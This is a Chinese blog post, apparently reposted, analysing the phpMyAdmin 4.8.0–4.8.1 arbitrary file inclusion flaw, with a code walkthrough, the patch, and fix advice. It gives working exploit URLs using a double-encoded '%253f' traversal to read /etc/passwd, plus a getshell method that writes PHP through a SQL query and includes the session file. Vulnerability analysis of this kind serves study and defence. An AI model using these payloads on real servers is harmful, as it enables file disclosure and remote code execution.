zoukankan      html  css  js  c++  java
  • Phpmyadmin任意文件包含漏洞

    漏洞描述:

    2018年6月19日,phpmyadmin在最新版本修复了这这个漏洞。

    一个攻击者可以在服务器上包含(查看和潜在执行)文件的漏洞被发现。

    该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。

    攻击者必须经过身份验证,但在这些情况下除外:

        $ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码

        $ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码

    影响版本:

        phpMyAdmin 4.8.0和4.8.1

    漏洞分析:

    漏洞入口在index.php文件,55-63行。

     
    1

    包含5个判断条件:

    #1.empty($_REQUEST['target'])判断target参数是否为空。

    #2.is_string($_REQUEST['target'])判断target参数是否为字符串。

    #3.preg_match('/^index/', $_REQUEST['target']) 值不能以index开头。

    #4.in_array($_REQUEST['target'], $target_blacklist)值不能出现在$target_blacklist内的。

    #5.Core::checkPageValidity($_REQUEST['target'])根据Core类的checkPageValidity方法判断。

    前面三个不需要去关注其他的,很好理解,主要看下第四和第五个条件。

    第四个条件,查看$target_blacklist中的数组。

     
    2

    加上条件为否,所以就是不能import.php,export.php.只要不是这两个值就行。

    最后看下Core类下的checkPageValidity方法,在/libraries/classes/Core.php。

     
    3

    checkPageValidity函数里又是五个判断:

    #1.$whitelist为空则引用静态声明的$goto_whitelist

    #2.如果$page没有被定义过或者$page不为字符串则return false

    #$3.page存在$whitelist中的某个值则返回true

    #4.$_page存在$whitelist中的某个值则返回true

    #5.经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true

    逐步分析:

    首先checkPageValidity有两个形参,第一个是前面传过来的target参数,因为前面index.php只传了一个参数过来,所以第二个$whitelis是空的。第一个条件就判断$whitelis是否为空,为空的话,就将定义的goto_whitelist赋值给whitelis。看一下定义的goto_whitelis.

     
    4

    只能接这么多了,还差8个,哈哈哈。

    第二个判断就是判断是否为字符串,这里需要为字符串。第三个判断target是否为$whitelis中的。是返回true。再看下个判断,这里对target做了判断,用?隔开。这里主要是phpmyadmin考虑问题比较周全,他想?后面可能还有参数。所以对?前面的数据做判断。这也是漏洞产生的原因。后面是直接对?做一次解码。然后判断经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true。这里就需要对?进行二次编码。?二次url编码为%253可绕过。

    漏洞复现:

    4.8.1环境。

     
    5

    检测是否存在漏洞

    http://192.168.220.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

     
    6

    可以看到,直接运行了etc/passwd文件。说明存在漏洞。

    getshell:

    第一种:general_log,直接参考以下链接:

    https://blog.csdn.net/Mikasa_/article/details/88425166

    第二种:

    这种比较简单,我用的就是第二种。

    首先可以先执行一下SELECT '<?php phpinfo()?>';,执行成功之后

     
    7

    执行成功后,查看然后查看自己的sessionid,phpMyadmin的值

     
    8

    把值带到sess_,最后直接访问:

    http://192.168.220.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_9cbee809ad7f5563614a5961739ed19d

     
    9

    可以执行成功。

     
    10

    修复建议:

    在漏洞发布不久,该漏洞已经被修复,漏洞存在于版本号小于4.8.2的所有历史版本中,通过git changelog查看官方如何修复漏洞的。查看补丁源码,参考URL:https://github.com/phpmyadmin/phpmyadmin/commit/d1360f46cef76c5182116eb2b8fdbab1b20e687a

    发现修复手法简单粗暴,直接在checkPageValidity中多加了一个参数$include。当$include=true时,仅执行第一次判断$page的合法性,我们的payload也就没有办法进入到urldecode的步骤了.

    参考链接:

    https://www.freebuf.com/column/207707.html

    https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog



    作者:低调求发展
    链接:https://www.jianshu.com/p/67457e72cdec
    来源:简书
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
  • 相关阅读:
    北京Uber优步司机奖励政策(3月3日)
    ubuntu安装phpstorm
    ubuntu安装typora
    PHP定时任务Crontab结合CLI模式详解
    mysql创建用户,并授予权限
    ubuntu下使用crontab定时器
    Ubuntu 查看当前目录使用的总空间大小
    ubuntu安装ruby,安装sass,安装compass
    open_basedir restriction in effect,解决php引入文件权限问题 lnmp
    canvas 画线
  • 原文地址:https://www.cnblogs.com/0daybug/p/13494620.html
Copyright © 2011-2022 走看看